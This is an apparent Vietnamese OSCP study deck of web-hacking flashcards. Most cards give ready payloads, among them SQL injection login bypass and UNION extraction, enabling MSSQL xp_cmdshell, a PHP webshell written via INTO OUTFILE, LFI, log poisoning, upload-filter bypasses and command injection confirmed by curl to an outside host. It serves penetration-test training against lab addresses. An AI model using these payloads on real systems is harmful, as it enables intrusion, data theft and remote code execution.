Web

18 cards

Review this deck
All cards in this deck

Nhận diện công nghệ

`whatweb http://192.168.56.10` và xem header, cookie, trang lỗi; xác định CMS, framework, phiên bản

Dò thư mục bằng gobuster

`gobuster dir -u http://192.168.56.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak -t 50`

Dò vhost bằng ffuf

`ffuf -u http://192.168.56.10 -H "Host: FUZZ.site.example" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <size mặc định>`; nhớ thêm hostname vào `/etc/hosts`

Việc thủ công không được bỏ

đọc source HTML và file JS, `robots.txt`, comment, tên user ở trang giới thiệu, thử default credential (admin/admin, admin/password, tên sản phẩm)

Phát hiện SQL injection

chèn `'` và quan sát lỗi hoặc thay đổi nội dung; thử bypass login với `' OR 1=1-- -`

Union: tìm số cột

tăng dần `' ORDER BY 1-- -`, `' ORDER BY 2-- -` tới khi lỗi; rồi `' UNION SELECT 1,2,3-- -` để xem cột nào hiển thị

Union: lấy dữ liệu MySQL

`' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -`, sau đó tới `information_schema.columns` và bảng user

Blind SQL injection theo thời gian

MySQL `' AND IF(1=1,SLEEP(5),0)-- -`; MSSQL `'; WAITFOR DELAY '0:0:5'--`; phản hồi chậm 5 giây là xác nhận

MSSQL xp_cmdshell

`EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';` (cần quyền sysadmin; qua injection thì dùng stacked query)

Ghi webshell qua SQL (MySQL)

`' UNION SELECT "<?php system($_GET['c']);?>",2,3 INTO OUTFILE '/var/www/html/s.php'-- -`; cần quyền FILE và thư mục ghi được

Kiểm LFI / path traversal

`?page=../../../../etc/passwd` (Linux), `?page=..\..\..\windows\win.ini` (Windows); đọc được thì tìm SSH key, file cấu hình, log

PHP wrapper đọc source

`?page=php://filter/convert.base64-encode/resource=index.php` rồi decode base64 để lấy credential trong code

Log poisoning

gửi request với User-Agent `<?php system($_GET['c']); ?>`, rồi include log qua LFI: `?page=/var/log/apache2/access.log&c=id`

Bypass file upload

đổi phần mở rộng (`.phtml`, `.php5`, `.pHP`), đổi `Content-Type` thành `image/png`, thêm magic bytes `GIF89a;`, upload `.htaccess`; sau đó tìm đường dẫn file đã upload

Command injection

thử các ký tự nối lệnh `;`, `&&`, `|` và dạng `$(id)`; khi không thấy output thì xác nhận bằng `ping -c 2 192.168.45.5` hoặc `curl http://192.168.45.5/x`

SSTI cơ bản

thử `{{7*7}}` và `${7*7}`; ra `49` thì xác định template engine (Jinja2, Twig, Freemarker) rồi tìm payload RCE tương ứng

WordPress

`wpscan --url http://192.168.56.10 --enumerate u,ap`; có admin thì sửa theme (ví dụ `404.php`) hoặc upload plugin để lấy shell

Từ lỗ hổng web tới shell

ưu tiên RCE trực tiếp → ghi webshell → đọc credential rồi dùng lại qua SSH/WinRM/SMB; webshell chỉ là bước đệm, phải nâng thành reverse shell tương tác

Web – Flashcards – OSCP | Học Dev